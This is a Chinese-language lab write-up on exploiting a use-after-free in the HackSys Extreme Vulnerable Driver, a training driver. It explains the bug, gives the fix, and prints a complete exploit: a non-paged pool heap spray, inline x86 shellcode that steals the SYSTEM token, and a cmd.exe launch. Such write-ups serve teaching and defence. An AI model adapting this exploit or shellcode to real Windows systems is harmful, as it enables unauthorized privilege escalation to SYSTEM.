0x00 UAF原理
解析:
释放了一个堆块后,并没有将该指针置为NULL,这样导致该指针处于悬空的状态,同样被释放的内存如果被恶意构造数据,就有可能会被重新申请这块被释放内存进而被利用。
分析源码:
#include <stdio.h>
#include <stdlib.h>
void main(void) {
int* p1;
int* p2;
p1 = malloc(sizeof(int));
*p1 = 100;
printf("p1: \t address:%X \t value=%d\n", (int)p1, *p1);
free(p1);//释放内存
//接着申请同样大小的内存空间
p2 = malloc(sizeof(int));
*p2 = 50;
printf("p2: \t address:%X \t value=%d\n", (int)p2, *p2);
printf("p1: \t address:%X \t value=%d\n", (int)p1, *p1);
free(p2);
getchar();
}
输出结果:
p1: address:73ADB0 value=100
p2: address:73ADB0 value=50
p1: address:73ADB0 value=50
综上可以看到p1
句柄指向的堆块即使被释放了但是句柄没有设置为NULL,进而被重新读取到这块被释放的内存。
0x01 漏洞缺陷定位
漏洞分析
由于**FreeUaFObjectNonPagedPool()**
函数没有将释放完成后的全局变量指针设置为:**NULL**
,进而导致在执行**UseUaFObjectNonPagedPool**
时仍然调用该全局指针进而造成**UAF**
漏洞。
我们已经知道了这里存在UAF了, 那么下一步我们需要怎么去利用呢?
信息收集
我们看看变量g_UseAfterFreeObjectNonPagedPool
根据交叉引用可以发现这应该是一个全局变量(通过源码分析也可知)
~~我们再找找跟**Object**
有关的函数:
AllocateUaFObjectNonPagedPool()
- 用于申请池空间
UseUaFObjectNonPagedPool()
- 执行全局变量
g_UseAfterFreeObjectNonPagedPool
指向的函数指针
AllocateFakeObjectNonPagedPool()
- 将载入的函数指针赋值到创建的池空间
- 这里存在堆喷到我们的利用函数的可能
注意:AllocateFakeObjectNonPagedPool()
生成的池空间大小和AllocateUaFObjectNonPagedPool()
一样,都是0x58u
0x02 UAF利用
EXP如下:
- release模式
- win32平台
#include<stdio.h>
#include<Windows.h>
typedef void(*FunctionPointer) ();
typedef struct _FAKE_USE_AFTER_FREE
{
FunctionPointer countinter;
char bufffer[0x54];
}FAKE_USE_AFTER_FREE, * PUSE_AFTER_FREE;
void ShellCode()
{
_asm
{
nop
pushad
mov eax, fs: [124h] // 找到当前线程的_KTHREAD结构
mov eax, [eax + 0x50] // 找到_EPROCESS结构
mov ecx, eax
mov edx, 4 // edx = system PID(4)
// 循环是为了获取system的_EPROCESS
find_sys_pid :
mov eax, [eax + 0xb8] // 找到进程活动链表
sub eax, 0xb8 // 链表遍历
cmp[eax + 0xb4], edx // 根据PID判断是否为SYSTEM
jnz find_sys_pid
// 替换Token
mov edx, [eax + 0xf8]
mov[ecx + 0xf8], edx
popad
ret
}
}
static VOID CreateCmd()
{
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOW;
WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}
int main()
{
DWORD recvBuf;
// 获取句柄
HANDLE hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
GENERIC_READ | GENERIC_WRITE,
NULL,
NULL,
OPEN_EXISTING,
NULL,
NULL);
printf("Start to get HANDLE...\n");
if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
{
printf("获取句柄失败\n");
return 0;
}
// 调用 AllocateUaFObject() 函数申请内存
printf("Start to call AllocateUaFObject()...\n");
DeviceIoControl(hDevice, 0x222013, NULL, NULL, NULL, 0, &recvBuf, NULL);
// 调用 FreeUaFObject() 函数释放对象
printf("Start to call FreeUaFObject()...\n");
DeviceIoControl(hDevice, 0x22201B, NULL, NULL, NULL, 0, &recvBuf, NULL);
printf("Start to write shellcode()...\n");
//申请假的chunk
PUSE_AFTER_FREE fakeG_UseAfterFree = (PUSE_AFTER_FREE)malloc(sizeof(FAKE_USE_AFTER_FREE));
//指向我们的shellcode
fakeG_UseAfterFree->countinter = ShellCode;
//用A填满该chunk
RtlFillMemory(fakeG_UseAfterFree->bufffer, sizeof(fakeG_UseAfterFree->bufffer), 'A');
// 堆喷射
printf("Start to heap spray...\n");
for (int i = 0; i < 5000; i++)
{
DeviceIoControl(hDevice, 0x22201F, fakeG_UseAfterFree, 0x60, NULL, 0, &recvBuf, NULL);
}
printf("Start to call UseUaFObject()...\n");
DeviceIoControl(hDevice, 0x222017, NULL, NULL, NULL, 0, &recvBuf, NULL);
printf("Start to create cmd...\n");
CreateCmd();
return 0;
}
利用结果:
0x03 利用分析
一、调用AllocateUaFObjectNonPagedPool()
函数申请内存空间
IoControlCode
为:0x222013
DeviceIoControl(hDevice, 0x222013, NULL, NULL, NULL, 0, &recvBuf, NULL);
驱动中存在一个**USE_AFTER_FREE_NON_PAGED_POOL**
的固定结构体
typedef struct _USE_AFTER_FREE_NON_PAGED_POOL
{
FunctionPointer Callback;
CHAR Buffer[0x54];
} USE_AFTER_FREE_NON_PAGED_POOL, *PUSE_AFTER_FREE_NON_PAGED_POOL;
使用了**ExAllocatePoolWithTag()**
申请一个**USE_AFTER_FREE_NON_PAGED_POOL**
结构体的空间后,然后将指针放到驱动中的全局变量**g_UseAfterFreeObjectNonPagedPool**
关于如何找到这个结构体定义,正常漏洞利用场景中是我们可以通过MSDN事先知道的,但是我们这里只能看源码了。
下面是源码结构体示例:
二、调用FreeUaFObjectNonPagedPool()
函数释放对象
IoControlCode
为:0x22201B
DeviceIoControl(hDevice, 0x22201B, NULL, NULL, NULL, 0, &recvBuf, NULL);
将全局变量**g_UseAfterFreeObjectNonPagedPool**
中指针指定的池块释放
三、调用AllocateFakeObjectNonPagedPool()
函数对堆进行数据载入
IoControlCode
为:0x22201F
typedef void(*FunctionPointer) ();
typedef struct _FAKE_USE_AFTER_FREE
{
FunctionPointer countinter;
char bufffer[0x54];
}FAKE_USE_AFTER_FREE, * PUSE_AFTER_FREE;
//申请假的chunk,申请的池块要符合这里定义的结构体
PUSE_AFTER_FREE fakeG_UseAfterFree = (PUSE_AFTER_FREE)malloc(sizeof(FAKE_USE_AFTER_FREE));
//指向我们的shellcode,只要将这个结构体的起始指针指向我们的shellcode函数,然后读写的大小小于规定大小即可
fakeG_UseAfterFree->countinter = ShellCode;
//用A填满该chunk
RtlFillMemory(fakeG_UseAfterFree->bufffer, sizeof(fakeG_UseAfterFree->bufffer), 'A');
// 堆喷射
for (int i = 0; i < 5000; i++)
{
DeviceIoControl(hDevice, 0x22201F, fakeG_UseAfterFree, 0x60, NULL, 0, &recvBuf, NULL);
//注意这里的0x60是shellcode的opcode大小
}
申请一个内存空间后将从Ring3传递回来的池块指针(**fakeG_UseAfterFree**
)内的内存数据载入到这个申请的内存空间中,由于我们构造的池块数据大小跟上面**AllocateUaFObjectNonPagedPool()**
申请的池块大小相同,所以存在堆喷覆盖到“上面已经释放但仍然可以使用指针调用的池块”的机会。
注意点:
for (int i = 0; i < 5000; i++)
{
DeviceIoControl(hDevice, 0x22201F, fakeG_UseAfterFree, 0x60, NULL, 0, &recvBuf, NULL);
}
这里是堆喷调用AllocateFakeObjectNonPagedPool()
将我们全局变量指针g_UseAfterFreeObjectNonPagedPool
指向的已释放池块数据写入到我们的hack函数
所以这里也是个“类型混淆”漏洞,因为AllocateFakeObjectNonPagedPool()
这个函数跟AllocateUaFObjectNonPagedPool()
功能冲突了,所以存在了利用可能性。
四、调用UseUaFObjectNonPagedPool()
函数使用堆内数据
IoControlCode
为:0x222017
DeviceIoControl(hDevice, 0x222017, NULL, NULL, NULL, 0, &recvBuf, NULL);
在**UseUaFObjectNonPagedPool()**
内部我们将**USE_AFTER_FREE_NON_PAGED_POOL**
结构体成员变量**Callback**
指针指向的数据块作为函数进行调用,由于上面循环5000次的堆喷申请内存覆盖操作可能将我们上面调用申请后又释放的池块覆盖了,但是由于AllocateFakeObjectNonPagedPool()
函数不会将全局变量**g_UseAfterFreeObjectNonPagedPool()**
给修改,而FreeUaFObjectNonPagedPool()
又没有在释放池块后将**g_UseAfterFreeObjectNonPagedPool()**
值设置为NULL
,所以UseUaFObjectNonPagedPool()
函数指针仍然指向上面我们**AllocateUaFObjectNonPagedPool()**
申请的那个池块,所以造成了UAF漏洞
五、对比实际驱动挖掘我们要解决的问题:
- 如何知道我们需要堆喷构造的结构体
- IDA分析
- 官方文档解析
修复方案
修复代码
NTSTATUS
FreeUaFObjectNonPagedPool(
VOID
)
{
NTSTATUS Status = STATUS_UNSUCCESSFUL;
PAGED_CODE();
__try
{
if (g_UseAfterFreeObjectNonPagedPool)
{
DbgPrint("[+] Freeing UaF Object\n");
DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
DbgPrint("[+] Pool Chunk: 0x%p\n", g_UseAfterFreeObjectNonPagedPool);
ExFreePoolWithTag((PVOID)g_UseAfterFreeObjectNonPagedPool, (ULONG)POOL_TAG);
g_UseAfterFreeObjectNonPagedPool = NULL; // <=========修复代码
Status = STATUS_SUCCESS;
}
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}
return Status;
}
在ExFreePoolWithTag((PVOID)g_UseAfterFreeObjectNonPagedPool, (ULONG)POOL_TAG);
后增多了一条g_UseAfterFreeObjectNonPagedPool = NULL;
对于 UseAfterFree 漏洞的修复,我们漏洞利用是在 free 掉了对象之后再次对它的引用,如果我们增加一个条件,判断对象是否为空,如果为空则不调用,那么就可以避免UseAfterFree
的发生,而在FreeUaFObject()
函数中指明了安全的措施,我们只需要把UseUaFObjectNonPagedPool
置为NULL